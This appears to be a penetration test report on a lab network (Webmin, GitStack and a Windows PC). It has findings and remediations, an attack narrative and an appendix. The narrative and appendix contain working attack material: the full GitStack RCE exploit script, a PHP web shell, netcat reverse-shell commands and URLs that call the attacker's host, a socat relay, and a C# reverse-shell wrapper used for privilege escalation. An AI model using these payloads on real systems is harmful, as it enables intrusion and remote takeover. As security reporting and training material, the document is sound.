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Executive Summary 
IamNobody was tasked by Mr. Thomas Wreath to perform a penetration test against his lab 

environment. The lab environment was created for a project by Mr. Thomas Wreath. During briefing 

Mr. Wreath has described the network infrastructure. The network is serving a public facing web 

server. Also, the network contains of two other hosts, which are not directly accessible from the 

outside. One of these servers is a Git Server and the other one is Mr. Wreath’s PC. Therefore, a gray 

box penetration test was performed. The attack was simulated with the following goals: 

• Identify any vulnerabilities and misconfigurations in the network. 

• Determine which assets could be compromised from a standpoint of an external attacker. 

In the end of the penetration test the network was completely compromised. An attacker would 

have complete Administrative access to every machine on the network.  

  



Timeline 
Date / Time Event 

25.03.2021 Engagement Start 

25.03.2021 - 14:00 ROOT access to PROD-SERV 

26.03.2021 - 12:00 SYSTEM access to GIT-SERV 

27.03.2021 - 16:30 Initial access to WREATH-PC as THOMAS 

27.03.2021 - 18:00 SYSTEM access to WREATH-PC 

27.03.2021 - 23:30 Data Exfiltration 

27.03.2021 - 23:40 Cleanup 

27.03.2021 - 23:50 Engagement End 

 

  



Findings and Remediations 

CVE-2019-15107 (Webmin RCE) 
Description: The public facing web server is running an outdated version of Webmin. This 

service has a remote code execution vulnerability that allows an attacker to 
run arbitrary commands as the root user.  

Recommendation: Update Webmin. 

Impact: Critical 

System: 10.200.101.200 

References: https://nvd.nist.gov/vuln/detail/CVE-2019-15107 

 

GitStack 2.3.10 RCE 
Description: The GitStack service running on the Git Server is outdated. The service has a 

remote code execution vulnerability, that allows an attacker in this case to 
run arbitrary commands as SYSTEM. 

Recommendation: Update GitStack. 

Impact: Critical 

System: 10.200.101.150 

References: https://www.cvedetails.com/cve/CVE-2018-5955/ 
 
https://www.exploit-db.com/exploits/43777 

 

Unrestricted File Upload 
Description: The new web app which is pushed to the Git repository contains an arbitrary 

file upload vulnerability. This vulnerability can be exploited by an attacker to 
run arbitrary commands on the system with the rights of the web server.  

Recommendation: Harden the filter. 

Impact: Critical 

System: 10.200.101.100 

References: https://owasp.org/www-
community/vulnerabilities/Unrestricted_File_Upload 

 

Unquoted service path 
Description: The service path for service “System Explorer” is not quoted. This allows an 

attacker to escalate privileges.  

Recommendation: Add a quote to the path. 

Impact: Critical 

System: 10.200.101.100 

References: https://book.hacktricks.xyz/windows/windows-local-privilege-
escalation#unquoted-service-paths 
 
https://medium.com/@SumitVerma101/windows-privilege-escalation-part-
1-unquoted-service-path-c7a011a8d8ae 

 

https://nvd.nist.gov/vuln/detail/CVE-2019-15107
https://www.cvedetails.com/cve/CVE-2018-5955/
https://www.exploit-db.com/exploits/43777
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#unquoted-service-paths
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#unquoted-service-paths
https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae
https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae


 

Password Policy 
Description: During the assessment Thomas’ password could be successfully cracked.  

Recommendation: Use more complex passwords. It is also recommended to use password 
managers. 

Impact: High 

System: 10.200.101.150, 10.200.101.100 

References: https://en.wikipedia.org/wiki/Password_strength 
 
https://keepassxc.org 
 
https://bitwarden.com 

 

GitStack running as SYSTEM 
Description: The GitStack service running on the Git Server is running as SYSTEM user. 

Successful exploitation of the service will give the attacker instant SYSTEM 
privileges. 

Recommendation: Run GitStack with a less privileged account. 

Impact: Medium 

System: 10.200.101.150 

 

SSH Key not protected by passphrase 
Description: The SSH private key of the root user on machine 10.200.101.200 is not 

protected by a passphrase. 

Recommendation: Generate SSH keys with a secure and complex passphrase. 

Impact: Medium 

System: 10.200.101.200 

References: https://linux.die.net/man/1/ssh-keygen 

 

Contact information on website 
Description: The web site contains contact information that can be easily picked up by 

crawlers. Spammer cans harvest this information for spam and phishing.  

Recommendation: Change the email and phone numbers, so it cannot be easily parsed 
anymore. 

Impact: Low 

System: 10.200.101.200 

 

  

https://en.wikipedia.org/wiki/Password_strength
https://keepassxc.org/
https://bitwarden.com/
https://linux.die.net/man/1/ssh-keygen


Attack Narrative 
Mr. Wreath has provided the IP address of the public facing web server. The engagement was then 

started with an Nmap scan against the server. This scan revealed that 4 ports are open on the host. 

SSH was running on port 22, a web server was running on port 80 and 443 and finally Webmin was 

running on port 10000. Also, the domain name “thomaswreath.thm” could be acquired. 

Furthermore, the web server also leaked the operating system: CentOS. 

 

Figure 1 

The web server on port 80 just redirected to https://thomaswreath.thm. The landing page revealed 

that this is Mr. Thomas Wreath’s personal web site. 

 

Figure 2 Landing Page 

On the web site, contact information were provided. The Email address and the telephone numbers 

could be used in a spear phishing campaign. But this was out of scope for this engagement.  

  

https://thomaswreath.thm/


The web page was a static web page. So, no vulnerabilities were found on the 

site. But on port 10000, Webmin version 1.890 was running. This version of 

Webmin contains a command injection flaw which can be used by an 

unauthenticated attacker to run arbitrary commands on the victim. This 

vulnerability is described in CVE-2019-15107. To exploit this vulnerability code 

from the Github repository https://github.com/MuirlandOracle/CVE-2019-

15107 was used. By running the exploit, I was able to obtain a root shell. 

 

Figure 4 Exploiting a command injection vulnerability in Webmin 

This command injection flaw was used to upgrade to a reverse shell.  

Figure 3 Contact 
Information 

https://github.com/MuirlandOracle/CVE-2019-15107
https://github.com/MuirlandOracle/CVE-2019-15107


With this shell I was able to obtain the SSH private key of the root user. This private key was used as 

persistence mechanism. 

Figure 6 Reverse Shell 

Figure 5 Reading SSH private key of root 



The extend of compromise at this stage can be visualized in Figure 7.  

After the compromise, the web server was now used as a pivot point to access the internal network. 

The next step involved the discovery of hosts inside the network. For this reason, a static Nmap 

executable was uploaded to the “tmp” directory of the server. The utility scp was used to transfer 

the file. After scanning the network, four other hosts could be identified. But only the hosts 

“10.200.101.100” and “10.200.101.150” were inside the scope of the penetration test.  

 

Figure 7 Stage of Compromise 

Figure 8 Scanning internal network structure 



At this point the attacker’s view of the network can be best described in Figure 9.

 

Figure 9 Network structure from the attacker's view 

From the compromised CentOS host a port scan was conducted. The host with the IP 10.200.101.100 

had all ports closed. But the Nmap scan was able to enumerate services on the host with the IP 

10.200.101.150. The ports 80, 3389 and 5985 were open. Based on the simple fingerprinting that 

Nmap has done we could assume that the host is running Windows.  



To be able to interact with the client “10.200.101.150”, an SSH tunnel was established. After that, 

the web page on port 80 could be inspected from the attacker machine. 

 

This server was running Gitstack. Gitstack 2.3.10 contains a remote code execution vulnerability. The 

following Python script from Exploit-DB was used: https://www.exploit-db.com/exploits/43777. 

Modifications to this script are documented in Appendix A. After executing the exploit, a web shell 

was uploaded to the victim. It was possible to interact with the system through the web shell with 

SYSTEM privileges. 

 

The Git server had no internet connectivity. This could be confirmed by sending an ICMP ping 

request to the attacker machine.

 

So, to be able to connect to the victim, I had to establish a tunnel between the victim and the 

attacker by using the external web server as relay. For this reason, the port 1700 was opened on the 

https://www.exploit-db.com/exploits/43777


web server. 

 

Furthermore, a static Socat binary was uploaded to the “tmp” directory of the web server by utilizing 

“scp”. The Socat binary was executed with the following parameters “./socat-IamNobody tcp-l:1700 

tcp:10.50.102.19:443”.  Additionally, the following Powershell reverse shell was used to connect 

back to the attacker machine. 

 

By sending the following request via CURL the Git Server finally has connected to the attacker 

machine.  

 



 

At this point the extend of the compromise can be best described by Figure 10.  

 

Figure 10 Reverse Shell from 10.200.101.150 

During post exploitation of the host 10.200.101.150, a new administrator with the name 

“IamNobody“ was added to the machine. After that Mimikatz was used to obtain the NTLM hashes 



of users on the machine. 

 

 

The NTLM hash of the user “Thomas“ could be successfully cracked. 

 

The hash of the Administrator user could be successfully used in a pass-the-hash attack to 

authenticate to the machine via WinRM. 

 



From the machine 10.200.101.150 I could successfully initiate a port scan of the machine 

10.200.101.100. The Invoke-Portscan.ps1 script from Nishang was used to perform this task. The 

port scan could determine that ports 80 and 3389 were open on the target. 

 

To access the web page from the attacker machine, another port forward was created. This time 

“sshuttle” has been used to connect to the victim network via the external accessible web server. 

“chisel” was uploaded to the Git server, so a connection between the attacker and the host 

10.200.101.100 could be accomplished. Also, the port 7273 was opened on the host 10.200.101.150. 

 

Figure 11 Opening port 7273 on 10.200.101.150 

 

Figure 12 Starting chisel server on 10.200.101.150 

 

Figure 13 Connecting to the chisel server on 10.200.101.150 from the attacker machine 

Finally, the web page on the host 10.200.101.100 could be displayed in a web browser of the 

attacker. It was the same web page as on the public serving web site. But I have assumed that this 



web page is a newer version because it is served on the developer’s machine. 

 

Because developers often push their code to version control repositories, the repository for this web 

page was searched on the Git Stack server. The Git repository was located at 

“C:\gitstack\repositories\website.git”. This directory was downloaded with “evil-winrm”. The 

GitTools Extractor has been used to recreate the source code. The commit with the ID 

“345ac8b236064b431fa43f53d91c98c4834ef8f3” was then analyzed because it was the most recent. 

The file at “resources/index.php” contained an interesting to-do-comment:

 

This information could be used to start a phishing attack against Mrs. Walker. But this was out of 

scope for this engagement. I could confirm that this resource exists on the client 10.200.101.100, by 

navigating to the URL in the web browser. 

 

https://github.com/internetwache/GitTools


Additionally, this code contained the upload filter. 

 

The upload filter had some vulnerabilities. The filter checks if the file is an image. Furthermore, the 

file name is splitted on the “.” sign. The second index of the resulting array is then checked against a 

whitelist. If all checks succeed, the file is uploaded to the “uploads” directory. This filter could be 

easily bypassed by creating a file with name “cat-IamNobody.jpg.php”. Furthermore, an obfuscated 

PHP payload has been added to the “Comment” metadata of the image. The following simple web 

shell has been used.  

 

To be able to evade anti-virus, the web shell has been obfuscated.  

 

Finally, the code was injected to the “Comment” metadata of the image. 

 



After uploading the file, remote code execution was possible as the “Thomas” user on the target.

 

To obtain a reverse shell, a Netcat binary was uploaded to the victim. First, the code for Netcat has 

been obtained from Github. The Makefile has been changed. You can inspect the changes in 

Appendix A. The Netcat binary was then uploaded to the host 10.200.101.150. From there the 

firewall port 7888 was opened.  

 

The Netcat binary was then served with a simple PHP web server. The binary could be downloaded 

to the host 10.200.101.100 by calling the URL “http://10.200.101.100/resources/uploads/cat3-

IamNobody.jpg.php?foo=curl%20http%3A%2F%2F10%2E200%2E101%2E150%3A7888%2Fnc%2DIa

mNobody%2Eexe”. To get a reverse shell the following Powershell command has been executed on 

the host 10.200.101.100:  

powershell .\nc-IamNobody.exe 10.50.102.19 80 -e cmd.exe 

 

 

This could be accomplished by calling the URL: 

https://github.com/int0x33/nc.exe


http://10.200.101.100/resources/uploads/cat3-IamNobody.jpg.php?foo=powershell%20.\nc-
IamNobody.exe%2010.50.102.19%2080%20-e%20cmd.exe 
 

Finally, the attacker gained a shell on 10.200.101.100: 

 

The extend of compromise at this state can be best described by Figure 14. 

 

Figure 14 Reverse Shell from 10.200.101.100 

To escalate privileges to an Administrator account, local enumeration has been started. During local 

enumeration, an interesting non default service could be spotted.  

 

The path for “System Explorer Service” was not quoted. Furthermore the user “Thomas” has write 

privileges in the directory “C:\Program Files (x86)\System Explorer” and the service was running as 

“LocalSystem”.  



 

 

To elevate the attacker’s privileges, a malicious .NET executable has been created. This program 

starts Netcat and connects to the attacker on port 443. The code of the program is attached to 

Appendix A. The wrapper program was placed inside the “C:\Program Files (x86)\System Explorer” 

directory and was named as “System.exe”. 

 

After restarting the “SystemExplorerHelpService” the attacker was able to obtain a shell with 

SYSTEM privileges. 



 

Figure 15 Stopping the SystemExplorerHelpService

 

Figure 16 Starting the SystemExplorerHelpService 

 

Figure 17 Receiving the SYSTEM shell 

At this point the SAM and SYSTEM registry hives were exfiltrated via SMB. Finally, the credentials 

could be dumped. 

 

Figure 18 Exfiltrating SAM and SYSTEM hive 



 

Figure 19 Dumping Hashes 

 

  



Cleanup 
All newly added firewall rules were deleted. Also, the Administrator account “IamNobody” on the 

host 10.200.101.150 was deleted. All files were deleted except for the Netcat executable on the host 

10.200.101.100. The listener is located at “C:\xampp\htdocs\resources\uploads\nc-

IamNobody.exe”. Mr. Thomas Wreath is advised to delete this file. Log files were not modified. 

  



Conclusion 
The penetration test has shown that an external attacker can gain an initial foothold to the network 

by exploiting the public facing web server. From there an attacker can compromise the entire 

network. All the critical vulnerabilities should be fixed first. Start by updating the vulnerable Webmin 

service on the host 10.200.101.200.  

Furthermore, it is recommended to use and Intrusion Prevention System or an Intrusion Detection 

System, so a compromise can be detected more rapidly. 

To prevent outdated services running in the network, it is recommended to regularly run a 

vulnerability scan. 

Also, a penetration test is considered a snapshot in time. The findings and recommendations reflect 

the information gathered during the assessment and not any changes or modifications made outside 

of that period.   
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Appendix A 

Modified GitStack 2.3.10 RCE Exploit Code 
# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution 

# Date: 18.01.2018 

# Software Link: https://gitstack.com/ 

# Exploit Author: Kacper Szurek 

# Contact: https://twitter.com/KacperSzurek 

# Website: https://security.szurek.pl/ 

# Category: remote 

#    

#1. Description 

#   

#$_SERVER['PHP_AUTH_PW'] is directly passed to exec function. 

# 

#https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html 

#  

#2. Proof of Concept 

# 

import requests 

from requests.auth import HTTPBasicAuth 

import os 

import sys 

 

ip = '10.200.101.150' 

 

# What command you want to execute 

command = "whoami" 

 

repository = 'rce' 

username = 'rce' 

password = 'rce' 

csrf_token = 'token' 

 

user_list = [] 

 

print "[+] Get user list" 

try: 

 r = requests.get("http://{}/rest/user/".format(ip)) 

 user_list = r.json() 

 user_list.remove('everyone') 

except: 

 pass 

 

if len(user_list) > 0: 

 username = user_list[0] 

 print "[+] Found user {}".format(username) 

else: 

 r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 

'password' : password}) 

 print "[+] Create user" 

  

 if not "User created" in r.text and not "User already exist" in r.text: 

  print "[-] Cannot create user" 

  os._exit(0) 

 

r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip)) 

if "true" in r.text: 

 print "[+] Web repository already enabled" 

else: 

 print "[+] Enable web repository" 

 r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), 

data='{"enabled" : "true"}') 

 if not "Web interface successfully enabled" in r.text: 

  print "[-] Cannot enable web interface" 

  os._exit(0) 

 

print "[+] Get repositories list" 

r = requests.get("http://{}/rest/repository/".format(ip)) 

repository_list = r.json() 

 

if len(repository_list) > 0: 

 repository = repository_list[0]['name'] 

 print "[+] Found repository {}".format(repository) 

else: 



 print "[+] Create repository" 

 

 r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : 

csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token}) 

 if not "The repository has been successfully created" in r.text and not "Repository 

already exist" in r.text: 

  print "[-] Cannot create repository" 

  os._exit(0) 

 

print "[+] Add user to repository" 

r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username)) 

 

if not "added to" in r.text and not "has already" in r.text: 

 print "[-] Cannot add user to repository" 

 os._exit(0)  

 

print "[+] Disable access for anyone" 

r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, 

"everyone")) 

 

if not "everyone removed from rce" in r.text and not "not in list" in r.text: 

 print "[-] Cannot remove access for anyone" 

 os._exit(0)  

 

print "[+] Create backdoor in PHP" 

r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), 

auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > 

c:\GitStack\gitphp\exploit-IamNobody.php')) 

print r.text.encode(sys.stdout.encoding, errors='replace') 

 

print "[+] Execute command" 

r = requests.post("http://{}/web/exploit-IamNobody.php".format(ip), data={'a' : command}) 

print r.text.encode(sys.stdout.encoding, errors='replace') 

 

  



Changes to Makefile of Netcat 

 

  



C# Wrapper for Netcat 
using System;   

using System.Diagnostics; 

 

namespace Wrapper 

{ 

 class Program 

 { 

 

  static void Main() 

  { 

 

   Process proc = new Process(); 

 

   ProcessStartInfo procInfo = new 

ProcessStartInfo("C:\\xampp\\htdocs\\resources\\uploads\\nc-IamNobody.exe", "10.50.102.19 443 

-e cmd.exe"); 

   procInfo.CreateNoWindow = true; 

   proc.StartInfo = procInfo; 

   proc.Start(); 

  } 

 } 

} 


